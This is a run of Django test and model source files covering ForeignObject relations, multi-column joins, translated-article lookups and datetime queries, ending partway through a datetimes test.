        self.assertQuerysetEqual(
            Article.objects.filter(pub_date__hour__lt=8),
            ['<Article: Article 1>', '<Article: Article 2>',
             '<Article: Article 3>', '<Article: Article 4>',
             '<Article: Article 7>'],
            ordered=False
        )
        self.assertQuerysetEqual(
            Article.objects.filter(pub_date__minute__lte=0),
            ['<Article: Article 1>', '<Article: Article 2>',
             '<Article: Article 3>', '<Article: Article 4>',
             '<Article: Article 5>', '<Article: Article 6>',
             '<Article: Article 7>'],
            ordered=False
        )


class LookupTransactionTests(TransactionTestCase):
    available_apps = ['lookup']

    @ignore_warnings(category=RemovedInDjango20Warning)
    @skipUnless(connection.vendor == 'mysql', 'requires MySQL')
    def test_mysql_lookup_search(self):
        # To use fulltext indexes on MySQL either version 5.6 is needed, or one must use
        # MyISAM tables. Neither of these combinations is currently available on CI, so
        # lets manually create a MyISAM table for Article model.
        with connection.cursor() as cursor:
            cursor.execute(
                "CREATE TEMPORARY TABLE myisam_article ("
                "    id INTEGER PRIMARY KEY AUTO_INCREMENT, "
                "    headline VARCHAR(100) NOT NULL "
                ") ENGINE MYISAM")
            dr = MyISAMArticle.objects.create(headline='Django Reinhardt')
            MyISAMArticle.objects.create(headline='Ringo Star')
            # NOTE: Needs to be created after the article has been saved.
            cursor.execute(
                'CREATE FULLTEXT INDEX myisam_article_ft ON myisam_article (headline)')
            self.assertQuerysetEqual(
                MyISAMArticle.objects.filter(headline__search='Reinhardt'),
                [dr], lambda x: x)












import datetime

from django import forms
from django.test import TestCase

from .models import Article


class FormsTests(TestCase):
    # ForeignObjects should not have any form fields, currently the user needs
    # to manually deal with the foreignobject relation.
    class ArticleForm(forms.ModelForm):
        class Meta:
            model = Article
            fields = '__all__'

    def test_foreign_object_form(self):
        # A very crude test checking that the non-concrete fields do not get form fields.
        form = FormsTests.ArticleForm()
        self.assertIn('id_pub_date', form.as_table())
        self.assertNotIn('active_translation', form.as_table())
        form = FormsTests.ArticleForm(data={'pub_date': str(datetime.date.today())})
        self.assertTrue(form.is_valid())
        a = form.save()
        self.assertEqual(a.pub_date, datetime.date.today())
        form = FormsTests.ArticleForm(instance=a, data={'pub_date': '2013-01-01'})
        a2 = form.save()
        self.assertEqual(a.pk, a2.pk)
        self.assertEqual(a2.pub_date, datetime.date(2013, 1, 1))






from django.test import TestCase

from .models import SlugPage


class RestrictedConditionsTests(TestCase):
    def setUp(self):
        slugs = [
            'a',
            'a/a',
            'a/b',
            'a/b/a',
            'x',
            'x/y/z',
        ]
        SlugPage.objects.bulk_create([SlugPage(slug=slug) for slug in slugs])

    def test_restrictions_with_no_joining_columns(self):
        """
        Test that it's possible to create a working related field that doesn't
        use any joining columns, as long as an extra restriction is supplied.
        """
        a = SlugPage.objects.get(slug='a')
        self.assertListEqual(
            [p.slug for p in SlugPage.objects.filter(ascendants=a)],
            ['a', 'a/a', 'a/b', 'a/b/a'],
        )
        self.assertEqual(
            [p.slug for p in a.descendants.all()],
            ['a', 'a/a', 'a/b', 'a/b/a'],
        )

        aba = SlugPage.objects.get(slug='a/b/a')
        self.assertListEqual(
            [p.slug for p in SlugPage.objects.filter(descendants__in=[aba])],
            ['a', 'a/b', 'a/b/a'],
        )
        self.assertListEqual(
            [p.slug for p in aba.ascendants.all()],
            ['a', 'a/b', 'a/b/a'],
        )

    def test_empty_join_conditions(self):
        x = SlugPage.objects.get(slug='x')
        message = "Join generated an empty ON clause."
        with self.assertRaisesMessage(ValueError, message):
            list(SlugPage.objects.filter(containers=x))






import datetime
from operator import attrgetter

from django.core.exceptions import FieldError
from django.db import models
from django.db.models.fields.related import ForeignObject
from django.test import SimpleTestCase, TestCase, skipUnlessDBFeature
from django.test.utils import isolate_apps
from django.utils import translation

from .models import (
    Article, ArticleIdea, ArticleTag, ArticleTranslation, Country, Friendship,
    Group, Membership, NewsArticle, Person,
)


# Note that these tests are testing internal implementation details.
# ForeignObject is not part of public API.


class MultiColumnFKTests(TestCase):
    def setUp(self):
        # Creating countries
        self.usa = Country.objects.create(name="United States of America")
        self.soviet_union = Country.objects.create(name="Soviet Union")
        Person()
        # Creating People
        self.bob = Person()
        self.bob.name = 'Bob'
        self.bob.person_country = self.usa
        self.bob.save()
        self.jim = Person.objects.create(name='Jim', person_country=self.usa)
        self.george = Person.objects.create(name='George', person_country=self.usa)

        self.jane = Person.objects.create(name='Jane', person_country=self.soviet_union)
        self.mark = Person.objects.create(name='Mark', person_country=self.soviet_union)
        self.sam = Person.objects.create(name='Sam', person_country=self.soviet_union)

        # Creating Groups
        self.kgb = Group.objects.create(name='KGB', group_country=self.soviet_union)
        self.cia = Group.objects.create(name='CIA', group_country=self.usa)
        self.republican = Group.objects.create(name='Republican', group_country=self.usa)
        self.democrat = Group.objects.create(name='Democrat', group_country=self.usa)

    def test_get_succeeds_on_multicolumn_match(self):
        # Membership objects have access to their related Person if both
        # country_ids match between them
        membership = Membership.objects.create(
            membership_country_id=self.usa.id, person_id=self.bob.id, group_id=self.cia.id)

        person = membership.person
        self.assertEqual((person.id, person.name), (self.bob.id, "Bob"))

    def test_get_fails_on_multicolumn_mismatch(self):
        # Membership objects returns DoesNotExist error when the there is no
        # Person with the same id and country_id
        membership = Membership.objects.create(
            membership_country_id=self.usa.id, person_id=self.jane.id, group_id=self.cia.id)

        with self.assertRaises(Person.DoesNotExist):
            getattr(membership, 'person')

    def test_reverse_query_returns_correct_result(self):
        # Creating a valid membership because it has the same country has the person
        Membership.objects.create(
            membership_country_id=self.usa.id, person_id=self.bob.id, group_id=self.cia.id)

        # Creating an invalid membership because it has a different country has the person
        Membership.objects.create(
            membership_country_id=self.soviet_union.id, person_id=self.bob.id,
            group_id=self.republican.id)

        self.assertQuerysetEqual(
            self.bob.membership_set.all(), [
                self.cia.id
            ],
            attrgetter("group_id")
        )

    def test_query_filters_correctly(self):

        # Creating a to valid memberships
        Membership.objects.create(
            membership_country_id=self.usa.id, person_id=self.bob.id, group_id=self.cia.id)
        Membership.objects.create(
            membership_country_id=self.usa.id, person_id=self.jim.id,
            group_id=self.cia.id)

        # Creating an invalid membership
        Membership.objects.create(membership_country_id=self.soviet_union.id,
                                  person_id=self.george.id, group_id=self.cia.id)

        self.assertQuerysetEqual(
            Membership.objects.filter(person__name__contains='o'), [
                self.bob.id
            ],
            attrgetter("person_id")
        )

    def test_reverse_query_filters_correctly(self):

        timemark = datetime.datetime.utcnow()
        timedelta = datetime.timedelta(days=1)

        # Creating a to valid memberships
        Membership.objects.create(
            membership_country_id=self.usa.id, person_id=self.bob.id,
            group_id=self.cia.id, date_joined=timemark - timedelta)
        Membership.objects.create(
            membership_country_id=self.usa.id, person_id=self.jim.id,
            group_id=self.cia.id, date_joined=timemark + timedelta)

        # Creating an invalid membership
        Membership.objects.create(
            membership_country_id=self.soviet_union.id, person_id=self.george.id,
            group_id=self.cia.id, date_joined=timemark + timedelta)

        self.assertQuerysetEqual(
            Person.objects.filter(membership__date_joined__gte=timemark), [
                'Jim'
            ],
            attrgetter('name')
        )

    def test_forward_in_lookup_filters_correctly(self):
        Membership.objects.create(membership_country_id=self.usa.id, person_id=self.bob.id,
                                  group_id=self.cia.id)
        Membership.objects.create(membership_country_id=self.usa.id, person_id=self.jim.id,
                                  group_id=self.cia.id)

        # Creating an invalid membership
        Membership.objects.create(
            membership_country_id=self.soviet_union.id, person_id=self.george.id,
            group_id=self.cia.id)

        self.assertQuerysetEqual(
            Membership.objects.filter(person__in=[self.george, self.jim]), [
                self.jim.id,
            ],
            attrgetter('person_id')
        )
        self.assertQuerysetEqual(
            Membership.objects.filter(person__in=Person.objects.filter(name='Jim')), [
                self.jim.id,
            ],
            attrgetter('person_id')
        )

    def test_double_nested_query(self):
        m1 = Membership.objects.create(membership_country_id=self.usa.id, person_id=self.bob.id,
                                       group_id=self.cia.id)
        m2 = Membership.objects.create(membership_country_id=self.usa.id, person_id=self.jim.id,
                                       group_id=self.cia.id)
        Friendship.objects.create(from_friend_country_id=self.usa.id, from_friend_id=self.bob.id,
                                  to_friend_country_id=self.usa.id, to_friend_id=self.jim.id)
        self.assertQuerysetEqual(Membership.objects.filter(
            person__in=Person.objects.filter(
                from_friend__in=Friendship.objects.filter(
                    to_friend__in=Person.objects.all()))),
            [m1], lambda x: x)
        self.assertQuerysetEqual(Membership.objects.exclude(
            person__in=Person.objects.filter(
                from_friend__in=Friendship.objects.filter(
                    to_friend__in=Person.objects.all()))),
            [m2], lambda x: x)

    def test_select_related_foreignkey_forward_works(self):
        Membership.objects.create(membership_country=self.usa, person=self.bob, group=self.cia)
        Membership.objects.create(membership_country=self.usa, person=self.jim, group=self.democrat)

        with self.assertNumQueries(1):
            people = [m.person for m in Membership.objects.select_related('person').order_by('pk')]

        normal_people = [m.person for m in Membership.objects.all().order_by('pk')]
        self.assertEqual(people, normal_people)

    def test_prefetch_foreignkey_forward_works(self):
        Membership.objects.create(membership_country=self.usa, person=self.bob, group=self.cia)
        Membership.objects.create(membership_country=self.usa, person=self.jim, group=self.democrat)

        with self.assertNumQueries(2):
            people = [
                m.person for m in Membership.objects.prefetch_related('person').order_by('pk')]

        normal_people = [m.person for m in Membership.objects.order_by('pk')]
        self.assertEqual(people, normal_people)

    def test_prefetch_foreignkey_reverse_works(self):
        Membership.objects.create(membership_country=self.usa, person=self.bob, group=self.cia)
        Membership.objects.create(membership_country=self.usa, person=self.jim, group=self.democrat)
        with self.assertNumQueries(2):
            membership_sets = [
                list(p.membership_set.all())
                for p in Person.objects.prefetch_related('membership_set').order_by('pk')]

        normal_membership_sets = [list(p.membership_set.all())
                                  for p in Person.objects.order_by('pk')]
        self.assertEqual(membership_sets, normal_membership_sets)

    def test_m2m_through_forward_returns_valid_members(self):
        # We start out by making sure that the Group 'CIA' has no members.
        self.assertQuerysetEqual(
            self.cia.members.all(),
            []
        )

        Membership.objects.create(membership_country=self.usa, person=self.bob, group=self.cia)
        Membership.objects.create(membership_country=self.usa, person=self.jim, group=self.cia)

        # Let's check to make sure that it worked.  Bob and Jim should be members of the CIA.

        self.assertQuerysetEqual(
            self.cia.members.all(), [
                'Bob',
                'Jim'
            ], attrgetter("name")
        )

    def test_m2m_through_reverse_returns_valid_members(self):
        # We start out by making sure that Bob is in no groups.
        self.assertQuerysetEqual(
            self.bob.groups.all(),
            []
        )

        Membership.objects.create(membership_country=self.usa, person=self.bob, group=self.cia)
        Membership.objects.create(membership_country=self.usa, person=self.bob,
                                  group=self.republican)

        # Bob should be in the CIA and a Republican
        self.assertQuerysetEqual(
            self.bob.groups.all(), [
                'CIA',
                'Republican'
            ], attrgetter("name")
        )

    def test_m2m_through_forward_ignores_invalid_members(self):
        # We start out by making sure that the Group 'CIA' has no members.
        self.assertQuerysetEqual(
            self.cia.members.all(),
            []
        )

        # Something adds jane to group CIA but Jane is in Soviet Union which isn't CIA's country
        Membership.objects.create(membership_country=self.usa, person=self.jane, group=self.cia)

        # There should still be no members in CIA
        self.assertQuerysetEqual(
            self.cia.members.all(),
            []
        )

    def test_m2m_through_reverse_ignores_invalid_members(self):
        # We start out by making sure that Jane has no groups.
        self.assertQuerysetEqual(
            self.jane.groups.all(),
            []
        )

        # Something adds jane to group CIA but Jane is in Soviet Union which isn't CIA's country
        Membership.objects.create(membership_country=self.usa, person=self.jane, group=self.cia)

        # Jane should still not be in any groups
        self.assertQuerysetEqual(
            self.jane.groups.all(),
            []
        )

    def test_m2m_through_on_self_works(self):
        self.assertQuerysetEqual(
            self.jane.friends.all(),
            []
        )

        Friendship.objects.create(
            from_friend_country=self.jane.person_country, from_friend=self.jane,
            to_friend_country=self.george.person_country, to_friend=self.george)

        self.assertQuerysetEqual(
            self.jane.friends.all(),
            ['George'], attrgetter("name")
        )

    def test_m2m_through_on_self_ignores_mismatch_columns(self):
        self.assertQuerysetEqual(self.jane.friends.all(), [])

        # Note that we use ids instead of instances. This is because instances on ForeignObject
        # properties will set all related field off of the given instance
        Friendship.objects.create(
            from_friend_id=self.jane.id, to_friend_id=self.george.id,
            to_friend_country_id=self.jane.person_country_id,
            from_friend_country_id=self.george.person_country_id)

        self.assertQuerysetEqual(self.jane.friends.all(), [])

    def test_prefetch_related_m2m_forward_works(self):
        Membership.objects.create(membership_country=self.usa, person=self.bob, group=self.cia)
        Membership.objects.create(membership_country=self.usa, person=self.jim, group=self.democrat)

        with self.assertNumQueries(2):
            members_lists = [list(g.members.all())
                             for g in Group.objects.prefetch_related('members')]

        normal_members_lists = [list(g.members.all()) for g in Group.objects.all()]
        self.assertEqual(members_lists, normal_members_lists)

    def test_prefetch_related_m2m_reverse_works(self):
        Membership.objects.create(membership_country=self.usa, person=self.bob, group=self.cia)
        Membership.objects.create(membership_country=self.usa, person=self.jim, group=self.democrat)

        with self.assertNumQueries(2):
            groups_lists = [list(p.groups.all()) for p in Person.objects.prefetch_related('groups')]

        normal_groups_lists = [list(p.groups.all()) for p in Person.objects.all()]
        self.assertEqual(groups_lists, normal_groups_lists)

    @translation.override('fi')
    def test_translations(self):
        a1 = Article.objects.create(pub_date=datetime.date.today())
        at1_fi = ArticleTranslation(article=a1, lang='fi', title='Otsikko', body='Diipadaapa')
        at1_fi.save()
        at2_en = ArticleTranslation(article=a1, lang='en', title='Title', body='Lalalalala')
        at2_en.save()

        self.assertEqual(Article.objects.get(pk=a1.pk).active_translation, at1_fi)

        with self.assertNumQueries(1):
            fetched = Article.objects.select_related('active_translation').get(
                active_translation__title='Otsikko')
            self.assertEqual(fetched.active_translation.title, 'Otsikko')
        a2 = Article.objects.create(pub_date=datetime.date.today())
        at2_fi = ArticleTranslation(article=a2, lang='fi', title='Atsikko', body='Diipadaapa',
                                    abstract='dipad')
        at2_fi.save()
        a3 = Article.objects.create(pub_date=datetime.date.today())
        at3_en = ArticleTranslation(article=a3, lang='en', title='A title', body='lalalalala',
                                    abstract='lala')
        at3_en.save()
        # Test model initialization with active_translation field.
        a3 = Article(id=a3.id, pub_date=a3.pub_date, active_translation=at3_en)
        a3.save()
        self.assertEqual(
            list(Article.objects.filter(active_translation__abstract=None)),
            [a1, a3])
        self.assertEqual(
            list(Article.objects.filter(active_translation__abstract=None,
                                        active_translation__pk__isnull=False)),
            [a1])

        with translation.override('en'):
            self.assertEqual(
                list(Article.objects.filter(active_translation__abstract=None)),
                [a1, a2])

    def test_foreign_key_raises_informative_does_not_exist(self):
        referrer = ArticleTranslation()
        with self.assertRaisesMessage(Article.DoesNotExist, 'ArticleTranslation has no article'):
            referrer.article

    def test_foreign_key_related_query_name(self):
        a1 = Article.objects.create(pub_date=datetime.date.today())
        ArticleTag.objects.create(article=a1, name="foo")
        self.assertEqual(Article.objects.filter(tag__name="foo").count(), 1)
        self.assertEqual(Article.objects.filter(tag__name="bar").count(), 0)
        with self.assertRaises(FieldError):
            Article.objects.filter(tags__name="foo")

    def test_many_to_many_related_query_name(self):
        a1 = Article.objects.create(pub_date=datetime.date.today())
        i1 = ArticleIdea.objects.create(name="idea1")
        a1.ideas.add(i1)
        self.assertEqual(Article.objects.filter(idea_things__name="idea1").count(), 1)
        self.assertEqual(Article.objects.filter(idea_things__name="idea2").count(), 0)
        with self.assertRaises(FieldError):
            Article.objects.filter(ideas__name="idea1")

    @translation.override('fi')
    def test_inheritance(self):
        na = NewsArticle.objects.create(pub_date=datetime.date.today())
        ArticleTranslation.objects.create(
            article=na, lang="fi", title="foo", body="bar")
        self.assertQuerysetEqual(
            NewsArticle.objects.select_related('active_translation'),
            [na], lambda x: x
        )
        with self.assertNumQueries(1):
            self.assertEqual(
                NewsArticle.objects.select_related(
                    'active_translation')[0].active_translation.title,
                "foo")

    @skipUnlessDBFeature('has_bulk_insert')
    def test_batch_create_foreign_object(self):
        """ See: https://code.djangoproject.com/ticket/21566 """
        objs = [Person(name="abcd_%s" % i, person_country=self.usa) for i in range(0, 5)]
        Person.objects.bulk_create(objs, 10)

    def test_isnull_lookup(self):
        Membership.objects.create(membership_country=self.usa, person=self.bob, group_id=None)
        Membership.objects.create(membership_country=self.usa, person=self.bob, group=self.cia)
        self.assertQuerysetEqual(
            Membership.objects.filter(group__isnull=True),
            ['<Membership: Bob is a member of NULL>']
        )
        self.assertQuerysetEqual(
            Membership.objects.filter(group__isnull=False),
            ['<Membership: Bob is a member of CIA>']
        )


class TestModelCheckTests(SimpleTestCase):

    @isolate_apps('foreign_object')
    def test_check_composite_foreign_object(self):
        class Parent(models.Model):
            a = models.PositiveIntegerField()
            b = models.PositiveIntegerField()

            class Meta:
                unique_together = (('a', 'b'),)

        class Child(models.Model):
            a = models.PositiveIntegerField()
            b = models.PositiveIntegerField()
            value = models.CharField(max_length=255)
            parent = ForeignObject(
                Parent,
                on_delete=models.SET_NULL,
                from_fields=('a', 'b'),
                to_fields=('a', 'b'),
                related_name='children',
            )

        self.assertEqual(Child._meta.get_field('parent').check(from_model=Child), [])

    @isolate_apps('foreign_object')
    def test_check_subset_composite_foreign_object(self):
        class Parent(models.Model):
            a = models.PositiveIntegerField()
            b = models.PositiveIntegerField()
            c = models.PositiveIntegerField()

            class Meta:
                unique_together = (('a', 'b'),)

        class Child(models.Model):
            a = models.PositiveIntegerField()
            b = models.PositiveIntegerField()
            c = models.PositiveIntegerField()
            d = models.CharField(max_length=255)
            parent = ForeignObject(
                Parent,
                on_delete=models.SET_NULL,
                from_fields=('a', 'b', 'c'),
                to_fields=('a', 'b', 'c'),
                related_name='children',
            )

        self.assertEqual(Child._meta.get_field('parent').check(from_model=Child), [])


class TestExtraJoinFilterQ(TestCase):
    @translation.override('fi')
    def test_extra_join_filter_q(self):
        a = Article.objects.create(pub_date=datetime.datetime.today())
        ArticleTranslation.objects.create(article=a, lang='fi', title='title', body='body')
        qs = Article.objects.all()
        with self.assertNumQueries(2):
            self.assertEqual(qs[0].active_translation_q.title, 'title')
        qs = qs.select_related('active_translation_q')
        with self.assertNumQueries(1):
            self.assertEqual(qs[0].active_translation_q.title, 'title')






from operator import attrgetter

from django.test.testcases import TestCase

from .models import Address, Contact, Customer


class TestLookupQuery(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.address = Address.objects.create(company=1, customer_id=20)
        cls.customer1 = Customer.objects.create(company=1, customer_id=20)
        cls.contact1 = Contact.objects.create(company_code=1, customer_code=20)

    def test_deep_mixed_forward(self):
        self.assertQuerysetEqual(
            Address.objects.filter(customer__contacts=self.contact1),
            [self.address.id],
            attrgetter('id')
        )

    def test_deep_mixed_backward(self):
        self.assertQuerysetEqual(
            Contact.objects.filter(customer__address=self.address),
            [self.contact1.id],
            attrgetter('id')
        )






import datetime

from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Country(models.Model):
    # Table Column Fields
    name = models.CharField(max_length=50)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Person(models.Model):
    # Table Column Fields
    name = models.CharField(max_length=128)
    person_country_id = models.IntegerField()

    # Relation Fields
    person_country = models.ForeignObject(
        Country,
        from_fields=['person_country_id'],
        to_fields=['id'],
        on_delete=models.CASCADE,
    )
    friends = models.ManyToManyField('self', through='Friendship', symmetrical=False)

    class Meta:
        ordering = ('name',)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Group(models.Model):
    # Table Column Fields
    name = models.CharField(max_length=128)
    group_country = models.ForeignKey(Country, models.CASCADE)
    members = models.ManyToManyField(Person, related_name='groups', through='Membership')

    class Meta:
        ordering = ('name',)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Membership(models.Model):
    # Table Column Fields
    membership_country = models.ForeignKey(Country, models.CASCADE)
    date_joined = models.DateTimeField(default=datetime.datetime.now)
    invite_reason = models.CharField(max_length=64, null=True)
    person_id = models.IntegerField()
    group_id = models.IntegerField(blank=True, null=True)

    # Relation Fields
    person = models.ForeignObject(
        Person,
        from_fields=['person_id', 'membership_country'],
        to_fields=['id', 'person_country_id'],
        on_delete=models.CASCADE,
    )
    group = models.ForeignObject(
        Group,
        from_fields=['group_id', 'membership_country'],
        to_fields=['id', 'group_country'],
        on_delete=models.CASCADE,
    )

    class Meta:
        ordering = ('date_joined', 'invite_reason')

    def __str__(self):
        group_name = self.group.name if self.group_id else 'NULL'
        return "%s is a member of %s" % (self.person.name, group_name)


class Friendship(models.Model):
    # Table Column Fields
    from_friend_country = models.ForeignKey(Country, models.CASCADE, related_name="from_friend_country")
    from_friend_id = models.IntegerField()
    to_friend_country_id = models.IntegerField()
    to_friend_id = models.IntegerField()

    # Relation Fields
    from_friend = models.ForeignObject(
        Person,
        on_delete=models.CASCADE,
        from_fields=['from_friend_country', 'from_friend_id'],
        to_fields=['person_country_id', 'id'],
        related_name='from_friend')

    to_friend_country = models.ForeignObject(
        Country,
        from_fields=['to_friend_country_id'],
        to_fields=['id'],
        related_name='to_friend_country',
        on_delete=models.CASCADE,
    )

    to_friend = models.ForeignObject(
        Person,
        from_fields=['to_friend_country_id', 'to_friend_id'],
        to_fields=['person_country_id', 'id'],
        related_name='to_friend',
        on_delete=models.CASCADE,
    )






from django.db import models
from django.db.models.fields.related import ForwardManyToOneDescriptor
from django.utils.encoding import python_2_unicode_compatible
from django.utils.translation import get_language


class ArticleTranslationDescriptor(ForwardManyToOneDescriptor):
    """
    The set of articletranslation should not set any local fields.
    """
    def __set__(self, instance, value):
        if instance is None:
            raise AttributeError("%s must be accessed via instance" % self.field.name)
        setattr(instance, self.cache_name, value)
        if value is not None and not self.field.remote_field.multiple:
            setattr(value, self.field.related.get_cache_name(), instance)


class ColConstraint(object):
    # Anything with as_sql() method works in get_extra_restriction().
    def __init__(self, alias, col, value):
        self.alias, self.col, self.value = alias, col, value

    def as_sql(self, compiler, connection):
        qn = compiler.quote_name_unless_alias
        return '%s.%s = %%s' % (qn(self.alias), qn(self.col)), [self.value]


class ActiveTranslationField(models.ForeignObject):
    """
    This field will allow querying and fetching the currently active translation
    for Article from ArticleTranslation.
    """
    requires_unique_target = False

    def get_extra_restriction(self, where_class, alias, related_alias):
        return ColConstraint(alias, 'lang', get_language())

    def get_extra_descriptor_filter(self, instance):
        return {'lang': get_language()}

    def contribute_to_class(self, cls, name):
        super(ActiveTranslationField, self).contribute_to_class(cls, name)
        setattr(cls, self.name, ArticleTranslationDescriptor(self))


class ActiveTranslationFieldWithQ(ActiveTranslationField):
    def get_extra_descriptor_filter(self, instance):
        return models.Q(lang=get_language())


@python_2_unicode_compatible
class Article(models.Model):
    active_translation = ActiveTranslationField(
        'ArticleTranslation',
        from_fields=['id'],
        to_fields=['article'],
        related_name='+',
        on_delete=models.CASCADE,
        null=True,
    )
    active_translation_q = ActiveTranslationFieldWithQ(
        'ArticleTranslation',
        from_fields=['id'],
        to_fields=['article'],
        related_name='+',
        on_delete=models.CASCADE,
        null=True,
    )
    pub_date = models.DateField()

    def __str__(self):
        try:
            return self.active_translation.title
        except ArticleTranslation.DoesNotExist:
            return '[No translation found]'


class NewsArticle(Article):
    pass


class ArticleTranslation(models.Model):
    article = models.ForeignKey(Article, models.CASCADE)
    lang = models.CharField(max_length=2)
    title = models.CharField(max_length=100)
    body = models.TextField()
    abstract = models.CharField(max_length=400, null=True)

    class Meta:
        unique_together = ('article', 'lang')
        ordering = ('active_translation__title',)


class ArticleTag(models.Model):
    article = models.ForeignKey(
        Article,
        models.CASCADE,
        related_name='tags',
        related_query_name='tag',
    )
    name = models.CharField(max_length=255)


class ArticleIdea(models.Model):
    articles = models.ManyToManyField(
        Article,
        related_name='ideas',
        related_query_name='idea_things',
    )
    name = models.CharField(max_length=255)






from django.db import models
from django.db.models.fields.related import (
    ForeignObjectRel, ReverseManyToOneDescriptor,
)
from django.db.models.lookups import StartsWith
from django.db.models.query_utils import PathInfo
from django.utils.encoding import python_2_unicode_compatible


class CustomForeignObjectRel(ForeignObjectRel):
    """
    Define some extra Field methods so this Rel acts more like a Field, which
    lets us use ReverseManyToOneDescriptor in both directions.
    """
    @property
    def foreign_related_fields(self):
        return tuple(lhs_field for lhs_field, rhs_field in self.field.related_fields)

    def get_attname(self):
        return self.name


class StartsWithRelation(models.ForeignObject):
    """
    A ForeignObject that uses StartsWith operator in its joins instead of
    the default equality operator. This is logically a many-to-many relation
    and creates a ReverseManyToOneDescriptor in both directions.
    """
    auto_created = False

    many_to_many = False
    many_to_one = True
    one_to_many = False
    one_to_one = False

    rel_class = CustomForeignObjectRel

    def __init__(self, *args, **kwargs):
        kwargs['on_delete'] = models.DO_NOTHING
        super(StartsWithRelation, self).__init__(*args, **kwargs)

    @property
    def field(self):
        """
        Makes ReverseManyToOneDescriptor work in both directions.
        """
        return self.remote_field

    def get_extra_restriction(self, where_class, alias, related_alias):
        to_field = self.remote_field.model._meta.get_field(self.to_fields[0])
        from_field = self.model._meta.get_field(self.from_fields[0])
        return StartsWith(to_field.get_col(alias), from_field.get_col(related_alias))

    def get_joining_columns(self, reverse_join=False):
        return tuple()

    def get_path_info(self):
        to_opts = self.remote_field.model._meta
        from_opts = self.model._meta
        return [PathInfo(from_opts, to_opts, (to_opts.pk,), self, False, False)]

    def get_reverse_path_info(self):
        to_opts = self.model._meta
        from_opts = self.remote_field.model._meta
        return [PathInfo(from_opts, to_opts, (to_opts.pk,), self.remote_field, False, False)]

    def contribute_to_class(self, cls, name, private_only=False):
        super(StartsWithRelation, self).contribute_to_class(cls, name, private_only)
        setattr(cls, self.name, ReverseManyToOneDescriptor(self))


class BrokenContainsRelation(StartsWithRelation):
    """
    This model is designed to yield no join conditions and
    raise an exception in ``Join.as_sql()``.
    """
    def get_extra_restriction(self, where_class, alias, related_alias):
        return None


@python_2_unicode_compatible
class SlugPage(models.Model):
    slug = models.CharField(max_length=20)
    descendants = StartsWithRelation(
        'self',
        from_fields=['slug'],
        to_fields=['slug'],
        related_name='ascendants',
    )
    containers = BrokenContainsRelation(
        'self',
        from_fields=['slug'],
        to_fields=['slug'],
    )

    class Meta:
        ordering = ['slug']

    def __str__(self):
        return 'SlugPage %s' % self.slug






from django.db import models
from django.db.models.fields.related import ForeignObject


class Address(models.Model):
    company = models.CharField(max_length=1)
    customer_id = models.IntegerField()

    class Meta:
        unique_together = [
            ('company', 'customer_id'),
        ]


class Customer(models.Model):
    company = models.CharField(max_length=1)
    customer_id = models.IntegerField()
    address = ForeignObject(
        Address, models.CASCADE, null=True,
        # order mismatches the Contact ForeignObject.
        from_fields=['company', 'customer_id'],
        to_fields=['company', 'customer_id'],
    )

    class Meta:
        unique_together = [
            ('company', 'customer_id'),
        ]


class Contact(models.Model):
    company_code = models.CharField(max_length=1)
    customer_code = models.IntegerField()
    customer = ForeignObject(
        Customer, models.CASCADE, related_name='contacts',
        to_fields=['customer_id', 'company'],
        from_fields=['customer_code', 'company_code'],
    )






from .article import (
    Article, ArticleIdea, ArticleTag, ArticleTranslation, NewsArticle,
)
from .customers import Address, Contact, Customer
from .empty_join import SlugPage
from .person import Country, Friendship, Group, Membership, Person

__all__ = [
    'Address', 'Article', 'ArticleIdea', 'ArticleTag', 'ArticleTranslation',
    'Contact', 'Country', 'Customer', 'Friendship', 'Group', 'Membership',
    'NewsArticle', 'Person', 'SlugPage',
]






from __future__ import unicode_literals

from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Article(models.Model):
    title = models.CharField(max_length=100)
    pub_date = models.DateTimeField()
    published_on = models.DateField(null=True)

    categories = models.ManyToManyField("Category", related_name="articles")

    def __str__(self):
        return self.title


@python_2_unicode_compatible
class Comment(models.Model):
    article = models.ForeignKey(Article, models.CASCADE, related_name="comments")
    text = models.TextField()
    pub_date = models.DateTimeField()
    approval_date = models.DateTimeField(null=True)

    def __str__(self):
        return 'Comment to %s (%s)' % (self.article.title, self.pub_date)


class Category(models.Model):
    name = models.CharField(max_length=255)












from __future__ import unicode_literals

import datetime
from unittest import skipIf

from django.test import TestCase, override_settings
from django.utils import timezone

from .models import Article, Category, Comment

try:
    import pytz
except ImportError:
    pytz = None


class DateTimesTests(TestCase):
    def test_related_model_traverse(self):
        a1 = Article.objects.create(
            title="First one",
            pub_date=datetime.datetime(2005, 7, 28, 9, 0, 0),
        )
        a2 = Article.objects.create(
            title="Another one",
            pub_date=datetime.datetime(2010, 7, 28, 10, 0, 0),
        )
        a3 = Article.objects.create(
            title="Third one, in the first day",
            pub_date=datetime.datetime(2005, 7, 28, 17, 0, 0),
        )

        a1.comments.create(
            text="Im the HULK!",
            pub_date=datetime.datetime(2005, 7, 28, 9, 30, 0),
        )
        a1.comments.create(
            text="HULK SMASH!",
            pub_date=datetime.datetime(2005, 7, 29, 1, 30, 0),
        )
        a2.comments.create(
            text="LMAO",
            pub_date=datetime.datetime(2010, 7, 28, 10, 10, 10),
        )
        a3.comments.create(
            text="+1",
            pub_date=datetime.datetime(2005, 8, 29, 10, 10, 10),
        )

        c = Category.objects.create(name="serious-news")
        c.articles.add(a1, a3)

        self.assertQuerysetEqual(
            Comment.objects.datetimes("article__pub_date", "year"), [
                datetime.datetime(2005, 1, 1),
                datetime.datetime(2010, 1, 1),
            ],
            lambda d: d,
        )
        self.assertQuerysetEqual(
            Comment.objects.datetimes("article__pub_date", "month"), [
                datetime.datetime(2005, 7, 1),
                datetime.datetime(2010, 7, 1),
            ],
            lambda d: d
        )
        self.assertQuerysetEqual(
            Comment.objects.datetimes("article__pub_date", "day"), [
                datetime.datetime(2005, 7, 28),
                datetime.datetime(2010, 7, 28),
            ],
            lambda d: d
        )
        self.assertQuerysetEqual(
            Article.objects.datetimes("comments__pub_date", "day"), [
                datetime.datetime(2005, 7, 28),
                datetime.datetime(2005, 7, 29),
                datetime.datetime(2005, 8, 29),
                datetime.datetime(2010, 7, 28),
            ],
            lambda d: d
        )
        self.assertQuerysetEqual(
            Article.objects.datetimes("comments__approval_date", "day"), []
        )
        self.assertQuerysetEqual(
            Category.objects.datetimes("articles__pub_date", "day"), [
